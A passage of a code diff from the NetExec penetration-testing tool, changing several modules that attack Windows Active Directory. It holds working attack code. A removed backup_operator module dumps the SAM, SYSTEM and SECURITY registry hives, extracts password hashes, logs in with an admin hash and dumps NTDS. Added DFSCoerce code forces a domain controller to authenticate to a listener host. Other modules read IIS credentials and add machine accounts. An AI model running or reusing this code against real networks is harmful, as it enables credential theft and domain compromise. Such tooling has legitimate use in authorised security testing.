+        stringBinding = r"ncacn_ip_tcp:%s" % connection.host
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        portmap = rpctransport.get_dce_rpc()
+        portmap.set_auth_level(authLevel)
+        portmap.connect()
+
+        objExporter = IObjectExporter(portmap)
+        bindings = objExporter.ServerAlive2()
+
+        context.log.debug("[*] Retrieving network interface of " + connection.host)
+
+        for binding in bindings:
+            NetworkAddr = binding["aNetworkAddr"]
+            try:
+                ip_address(NetworkAddr[:-1])
+                context.log.highlight("Address: " + NetworkAddr)
+            except Exception as e:
+                context.log.debug(e)

nxc/modules/MachineAccountQuota.py

@@ -1,5 +1,3 @@
-from pyasn1.error import PyAsn1Error
-
 
 class NXCModule:
     """
@@ -16,17 +14,16 @@ class NXCModule:
     def options(self, context, module_options):
         pass
 
-    name = "maq"
+    name = "MAQ"
     description = "Retrieves the MachineAccountQuota domain-level attribute"
     supported_protocols = ["ldap"]
     opsec_safe = True
     multiple_hosts = False
 
     def on_login(self, context, connection):
+        result = []
         context.log.display("Getting the MachineAccountQuota")
-        result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
-        try:
-            maq = result[0]["attributes"][0]["vals"][0]
-            context.log.highlight(f"MachineAccountQuota: {maq}")
-        except PyAsn1Error:
-            context.log.highlight("MachineAccountQuota: <not set>")
+        searchFilter = "(objectClass=*)"
+        attributes = ["ms-DS-MachineAccountQuota"]
+        result = connection.search(searchFilter, attributes)
+        context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])

nxc/modules/adcs.py

@@ -27,6 +27,7 @@ class NXCModule:
         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
         BASE_DN            The base domain name for the LDAP query
         """
+        self.context = context
         self.regex = re.compile("(https?://.+)")
 
         self.server = None
@@ -38,7 +39,6 @@ class NXCModule:
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
-        self.context = context
         if self.server is None:
             search_filter = "(objectClass=pKIEnrollmentService)"
         else:
@@ -49,10 +49,10 @@ class NXCModule:
 
         try:
             sc = ldap.SimplePagedResultsControl()
-            base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
+            base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
 
             if self.server is None:
-                connection.ldap_connection.search(
+                connection.ldapConnection.search(
                     searchFilter=search_filter,
                     attributes=[],
                     sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
                     searchBase="CN=Configuration," + base_dn_root,
                 )
             else:
-                connection.ldap_connection.search(
+                connection.ldapConnection.search(
                     searchFilter=search_filter + base_dn_root + ")",
                     attributes=["certificateTemplates"],
                     sizeLimit=0,

nxc/modules/add_computer.py

@@ -1,8 +1,8 @@
 import ssl
 import ldap3
-import sys
 from impacket.dcerpc.v5 import samr, epm, transport
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+import sys
+
 
 class NXCModule:
     """
@@ -41,7 +41,6 @@ class NXCModule:
 
         if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
             context.log.error("NAME  and PASSWORD options are required!")
-            sys.exit(1)
         elif "CHANGEPW" in module_options:
             self.__noAdd = True
 
@@ -62,10 +61,11 @@ class NXCModule:
     def on_login(self, context, connection):
         self.__domain = connection.domain
         self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.kdcHost
+        self.__kdcHost = connection.hostname + "." + connection.domain
+        self.__target = self.__kdcHost
         self.__username = connection.username
         self.__password = connection.password
-        self.__host = connection.host
+        self.__targetIp = connection.host
         self.__port = context.smb_server_port
         self.__aesKey = context.aesKey
         self.__hashes = context.hash
@@ -87,7 +87,8 @@ class NXCModule:
         # If SAMR fails now try over LDAPS
         if not self.noLDAPRequired:
             self.do_ldaps_add(connection, context)
-            
+        else:
+            sys.exit(1)
 
     def do_samr_add(self, context):
         """
@@ -101,11 +102,15 @@ class NXCModule:
         -------
             None
         """
-        string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
-        string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
+        target = self.__targetIp or self.__target
+        string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
 
         rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.setRemoteHost(self.__host)
+        rpc_transport.set_dport(self.__port)
+
+        if self.__targetIp is not None:
+            rpc_transport.setRemoteHost(self.__targetIp)
+            rpc_transport.setRemoteName(self.__target)
 
         if hasattr(rpc_transport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -114,13 +119,10 @@ class NXCModule:
         rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
 
         dce = rpc_transport.get_dce_rpc()
-        if self.__doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
         dce.connect()
         dce.bind(samr.MSRPC_UUID_SAMR)
 
-        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
+        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
         serv_handle = samr_connect_response["ServerHandle"]
 
         samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
@@ -176,6 +178,7 @@ class NXCModule:
                     samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
                     self.noLDAPRequired = True
                     context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
+                    sys.exit(1)
                 except samr.DCERPCSessionError as e:
                     if e.error_code != 0xC0000073:
                         raise

nxc/modules/appcmd.py

@@ -37,7 +37,7 @@ class NXCModule:
             return
 
     def execute_appcmd(self, context, connection):
-        command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
+        command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
         context.log.info("Checking For Hidden Credentials With Appcmd.exe")
         output = connection.execute(command, True)
 

nxc/modules/backup_operator.py

@@ -1,143 +0,0 @@
-import time
-import os
-import datetime
-
-from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
-from impacket.smbconnection import SessionError
-from impacket.dcerpc.v5 import transport, rrp
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
-
-from nxc.paths import NXC_PATH
-
-class NXCModule:
-    name = "backup_operator"
-    description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.domain_admin = None
-        self.domain_admin_hash = None
-        self.deleted_files = True  # flag to check if SAM/SYSTEM/SECURITY files were deleted
-
-    def options(self, context, module_options):
-        """NO OPTIONS"""
-
-    def on_login(self, context, connection):
-        connection.args.share = "SYSVOL"
-        # enable remote registry
-        context.log.display("Triggering RemoteRegistry to start through named pipe...")
-        self.trigger_winreg(connection.conn, context)
-        rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
-        rpc.set_smb_connection(connection.conn)
-        if connection.kerberos:
-            rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
-        dce = rpc.get_dce_rpc()
-        if connection.kerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-        dce.connect()
-        dce.bind(rrp.MSRPC_UUID_RRP)
-
-        try:
-            for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
-                hRootKey, subKey = self._strip_root_key(dce, hive)
-                outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
-                context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
-                try:
-                    ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
-                    rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
-                    context.log.highlight(f"Saved {hive} to {outputFileName}")
-                except Exception as e:
-                    context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
-                    return
-        except (Exception, KeyboardInterrupt) as e:
-            context.log.fail(str(e))
-        finally:
-            dce.disconnect()
-
-        # copy remote file to local
-        log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
-        for hive in ["SAM", "SECURITY", "SYSTEM"]:
-            connection.get_file_single(hive, log_path + hive)
-
-        # read local file
-        try:
-            def parse_sam(secret):
-                context.log.highlight(secret)
-                if not self.domain_admin:
-                    first_line = secret.strip().splitlines()[0]
-                    fields = first_line.split(":")
-                    self.domain_admin = fields[0]
-                    self.domain_admin_hash = fields[3]
-
-            local_operations = LocalOperations(log_path + "SYSTEM")
-            boot_key = local_operations.getBootKey()
-            sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
-            sam_hashes.dump()
-            sam_hashes.finish()
-
-            LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
-            LSA.dumpCachedHashes()
-            LSA.dumpSecrets()
-        except Exception as e:
-            context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
-
-        if self.domain_admin:
-            connection.conn.logoff()
-            connection.create_conn_obj()
-            if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
-                try:
-                    context.log.display("Dumping NTDS...")
-                    connection.ntds()
-                except Exception as e:
-                    context.log.fail(f"Fail to dump the NTDS: {e!s}")
-
-                context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
-                connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
-                for hive in ["SAM", "SECURITY", "SYSTEM"]:
-                    try:
-                        out = connection.conn.listPath("SYSVOL", hive)
-                        if out:
-                            self.deleted_files = False
-                            context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
-                    except SessionError as e:
-                        context.log.debug(f"File {hive} successfully removed: {e}")
-            else:
-                self.deleted_files = False
-        else:
-            self.deleted_files = False
-
-        if not self.deleted_files:
-            context.log.display("Use the domain admin account to clean the file on the remote host")
-            context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"")  # noqa: Q003
-        else:
-            context.log.display("Successfully deleted dump files !")
-
-    def trigger_winreg(self, connection, context):
-        # Original idea from https://twitter.com/splinter_code/status/1715876413474025704
-        # Basically triggers the RemoteRegistry to start without admin privs
-        tid = connection.connectTree("IPC$")
-        try:
-            connection.openFile(
-                tid,
-                r"\winreg",
-                0x12019F,
-                creationOption=0x40,
-                fileAttributes=0x80,
-            )
-        except SessionError as e:
-            # STATUS_PIPE_NOT_AVAILABLE error is expected
-            context.log.debug(str(e))
-        # Give remote registry time to start
-        time.sleep(1)
-
-    def _strip_root_key(self, dce, key_name):
-        # Let's strip the root key
-        key_name.split("\\")[0]
-        sub_key = "\\".join(key_name.split("\\")[1:])
-        ans = rrp.hOpenLocalMachine(dce)
-        h_root_key = ans["phKey"]
-        return h_root_key, sub_key

nxc/modules/bh_owned.py

@@ -0,0 +1,87 @@
+# Author:
+#  Romain Bentz (pixis - @hackanddo)
+# Website:
+#  https://beta.hackndo.com [FR]
+#  https://en.hackndo.com [EN]
+
+import sys
+from neo4j import GraphDatabase
+from neo4j.exceptions import AuthError, ServiceUnavailable
+
+
+class NXCModule:
+    name = "bh_owned"
+    description = "Set pwned computer as owned in Bloodhound"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.neo4j_pass = None
+        self.neo4j_user = None
+        self.neo4j_Port = None
+        self.neo4j_URI = None
+
+    def options(self, context, module_options):
+        """
+        URI            URI for Neo4j database (default: 127.0.0.1)
+        PORT           Listening port for Neo4j database (default: 7687)
+        USER           Username for Neo4j database (default: 'neo4j')
+        PASS           Password for Neo4j database (default: 'neo4j')
+        """
+        self.neo4j_URI = "127.0.0.1"
+        self.neo4j_Port = "7687"
+        self.neo4j_user = "neo4j"
+        self.neo4j_pass = "neo4j"
+
+        if module_options and "URI" in module_options:
+            self.neo4j_URI = module_options["URI"]
+        if module_options and "PORT" in module_options:
+            self.neo4j_Port = module_options["PORT"]
+        if module_options and "USER" in module_options:
+            self.neo4j_user = module_options["USER"]
+        if module_options and "PASS" in module_options:
+            self.neo4j_pass = module_options["PASS"]
+
+    def on_admin_login(self, context, connection):
+        domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
+
+        host_fqdn = f"{connection.hostname}.{domain}".upper()
+        uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
+        context.log.debug(f"Neo4j URI: {uri}")
+        context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
+
+        try:
+            driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
+        except AuthError:
+            context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
+            sys.exit()
+        except ServiceUnavailable:
+            context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
+            sys.exit()
+        except Exception as e:
+            context.log.fail("Unexpected error with Neo4J")
+            context.log.debug(f"Error {e}: ")
+            sys.exit()
+
+        with driver.session() as session:
+            try:
+                with session.begin_transaction() as tx:
+                    result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
+                    record = result.single()
+                    try:
+                        value = record.value()
+                    except AttributeError:
+                        value = []
+            except ServiceUnavailable as e:
+                context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
+                context.log.debug(f"Error {e}: ")
+                driver.close()
+                sys.exit()
+        if len(value) > 0:
+            context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
+        else:
+            context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
+        driver.close()

nxc/modules/bitlocker.py

@@ -1,131 +0,0 @@
-import re
-from impacket.dcerpc.v5.dcom import wmi
-from impacket.dcerpc.v5.dtypes import NULL
-from impacket.dcerpc.v5.dcomrt import DCOMConnection
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
-
-class NXCModule:
-    name = "bitlocker"
-    description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
-    supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-
-    def options(self, context, module_options):
-        """ 
-        USAGE:
-        
-        NetExec smb <IP> -u <username> -p <password> -M bitlocker
-        NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
-        """
-
-    def on_admin_login(self, context, connection):
-        if context.protocol == "smb":
-            bitlocker_smb = BitLockerSMB(context, connection)
-            bitlocker_smb.check_bitlocker_status()
-        elif context.protocol == "wmi":
-            bitlocker_wmi = BitLockerWMI(context, connection)
-            bitlocker_wmi.check_bitlocker_status()
-
-
-class BitLockerSMB:
-    def __init__(self, context, connection):
-        self.context = context
-        self.connection = connection
-
-    def check_bitlocker_status(self):
-        # PowerShell command to check BitLocker volumes status.
-        check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
-
-        try:
-            # Executing the PowerShell command to get BitLocker volumes status.
-            check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
-            
-            if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
-                self.context.log.fail("BitLockerVolume not found on target.")
-                return
-
-            # Splitting the output into lines.
-            lines = str(check_bitlocker_command_str_output).splitlines()
-            data_lines = [line for line in lines if re.match(r"\w:", line)]
-            
-            for line in data_lines:
-                # Checking every line for starting with drive
-                if line[1] == ":": 
-                    parts = line.split()
-                    MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
-
-                    # Checking if BitLocker is enabled.
-                    if protection_status == "On":
-                        self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
-                    else:
-                        self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
-        except Exception as e:
-            self.context.log.exception(f"Exception occurred: {e}")
-
-
-class BitLockerWMI:
-    def __init__(self, context, connection):
-        self.context = context
-        self.connection = connection
-
-    def check_bitlocker_status(self):
-        try:
-            # Create a DCOM connection
-            dcom_conn = DCOMConnection(
-                self.connection.host,
-                self.connection.username,
-                self.connection.password,
-                self.connection.domain,
-                self.connection.lmhash,
-                self.connection.nthash,
-                oxidResolver=True,
-                doKerberos=self.connection.kerberos,
-                kdcHost=self.connection.kdcHost)
-                
-            try:
-                # CoCreateInstanceEx for WMI login
-                i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
-                iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
-
-                # Specify the namespace for BitLocker
-                bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
-                
-                # NTLM login for WMI
-                iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
-
-                # Set authentication level
-                iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
-
-                # Query to get BitLocker status
-                classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
-                iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
-                encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
-                
-                try:
-                    while True:
-                        iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
-                        encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
-                        if iWbemClassObject[0].ProtectionStatus == 1:
-                            self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
-                        else:
-                            if encryptionMethod == 0:  # Should be 0 if disabled
-                                self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
-                except Exception:
-                    pass  # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
-
-                # Release resources
-                iWbemLevel1Login.RemRelease()
-                iWbemServices.RemRelease()
-                dcom_conn.disconnect()
-            except Exception as e:
-                if "WBEM_E_INVALID_NAMESPACE" in str(e):
-                    self.context.log.fail("BitLockerNamespace not found on target.")
-                    dcom_conn.disconnect()
-        except Exception as e:
-            self.context.log.error(f"Error occurred during BitLocker check: {e}")
-            dcom_conn.disconnect()

nxc/modules/daclread.py

@@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
     "S-1-5-64-14": "SChannel Authentication",
     "S-1-5-64-21": "Digest Authority",
     "S-1-5-80": "NT Service",
-    "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
+    "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
     "S-1-16-0": "Untrusted Mandatory Level",
     "S-1-16-4096": "Low Mandatory Level",
     "S-1-16-8192": "Medium Mandatory Level",
@@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
     "S-1-16-16384": "System Mandatory Level",
     "S-1-16-20480": "Protected Process Mandatory Level",
     "S-1-16-28672": "Secure Process Mandatory Level",
-    "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
-    "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
-    "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
+    "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": "BUILTIN\Remote Desktop Users",
+    "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
     "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
-    "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
-    "S-1-5-32-559": "BUILTIN\\Performance Log Users",
-    "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
-    "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
-    "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
-    "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
-    "S-1-5-32-573": "BUILTIN\\Event Log Readers",
-    "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
-    "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
-    "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
-    "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
-    "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
-    "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
-    "S-1-5-32-580": "BUILTIN\\Remote Management Users",
+    "S-1-5-32-558": "BUILTIN\Performance Monitor Users",
+    "S-1-5-32-559": "BUILTIN\Performance Log Users",
+    "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
+    "S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
+    "S-1-5-32-562": "BUILTIN\Distributed COM Users",
+    "S-1-5-32-569": "BUILTIN\Cryptographic Operators",
+    "S-1-5-32-573": "BUILTIN\Event Log Readers",
+    "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
+    "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
+    "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
+    "S-1-5-32-577": "BUILTIN\RDS Management Servers",
+    "S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
+    "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
+    "S-1-5-32-580": "BUILTIN\Remote Management Users",
 }
 
 
@@ -221,6 +221,8 @@ class NXCModule:
 
         Based on the work of @_nwodtuhs and @BlWasp_.
         """
+        self.context = context
+
         context.log.debug(f"module_options: {module_options}")
 
         if not module_options:
@@ -271,11 +273,10 @@ class NXCModule:
         self.filename = None
 
     def on_login(self, context, connection):
-        self.context = context
         """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
         context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
-        self.baseDN = connection.ldap_connection._baseDN
-        self.ldap_session = connection.ldap_connection
+        self.baseDN = connection.ldapConnection._baseDN
+        self.ldap_session = connection.ldapConnection
 
         # Searching for the principal SID
         if self.principal_sAMAccountName is not None:
@@ -373,7 +374,7 @@ class NXCModule:
         if self.target_DN is not None:
             _lookedup_principal = self.target_DN
             target = self.ldap_session.search(
-                searchBase=_lookedup_principal,
+                searchBase=self.baseDN,
                 searchFilter=f"(distinguishedName={_lookedup_principal})",
                 attributes=["nTSecurityDescriptor"],
                 searchControls=controls,
@@ -515,8 +516,6 @@ class NXCModule:
         # If a principal has been specified, only the ACE where he is the trustee will be printed
         for parsed_ace in parsed_dacl:
             print_ace = True
-            context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
-
             # Filter on specific rights
             if self.rights is not None:
                 try:
@@ -529,7 +528,7 @@ class NXCModule:
                     if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
                         print_ace = False
                 except Exception as e:
-                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on specific right GUID
             if self.rights_guid is not None:
@@ -537,7 +536,7 @@ class NXCModule:
                     if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on ACE type
             if self.ace_type == "allowed":
@@ -545,13 +544,13 @@ class NXCModule:
                     if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
             else:
                 try:
                     if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on trusted principal
             if self.principal_sid is not None:
@@ -559,7 +558,7 @@ class NXCModule:
                     if self.principal_sid not in parsed_ace["Trustee (SID)"]:
                         print_ace = False
                 except Exception as e:
-                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
             if print_ace:
                 self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
                 self.print_parsed_ace(parsed_ace)

nxc/modules/dfscoerce.py

@@ -1,6 +1,15 @@
+from impacket import system_errors
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.ndr import NDRCALL
+from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin
+from nxc.logger import nxc_logger
+
+
 class NXCModule:
     name = "dfscoerce"
-    description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
+    description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
@@ -17,4 +26,117 @@ class NXCModule:
             self.listener = module_options["LISTENER"]
 
     def on_login(self, context, connection):
-        context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+        trigger = TriggerAuth()
+        dce = trigger.connect(
+            username=connection.username,
+            password=connection.password,
+            domain=connection.domain,
+            lmhash=connection.lmhash,
+            nthash=connection.nthash,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            doKerberos=connection.kerberos,
+            dcHost=connection.kdcHost,
+            aesKey=connection.aesKey,
+        )
+
+        if dce is not None:
+            context.log.debug("Target is vulnerable to DFSCoerce")
+            trigger.NetrDfsRemoveStdRoot(dce, self.listener)
+            context.log.highlight("VULNERABLE")
+            context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
+            dce.disconnect()
+
+        else:
+            context.log.debug("Target is not vulnerable to DFSCoerce")
+
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__(self):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
+            return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
+        else:
+            return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+class NetrDfsRemoveStdRoot(NDRCALL):
+    opnum = 13
+    structure = (
+        ("ServerName", WSTR),
+        ("RootShare", WSTR),
+        ("ApiFlags", DWORD),
+    )
+
+
+class NetrDfsRemoveStdRootResponse(NDRCALL):
+    structure = (("ErrorCode", ULONG),)
+
+
+class NetrDfsAddRoot(NDRCALL):
+    opnum = 12
+    structure = (
+        ("ServerName", WSTR),
+        ("RootShare", WSTR),
+        ("Comment", WSTR),
+        ("ApiFlags", DWORD),
+    )
+
+
+class NetrDfsAddRootResponse(NDRCALL):
+    structure = (("ErrorCode", ULONG),)
+
+
+class TriggerAuth:
+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
+        rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
+        if hasattr(rpctransport, "set_credentials"):
+            rpctransport.set_credentials(
+                username=username,
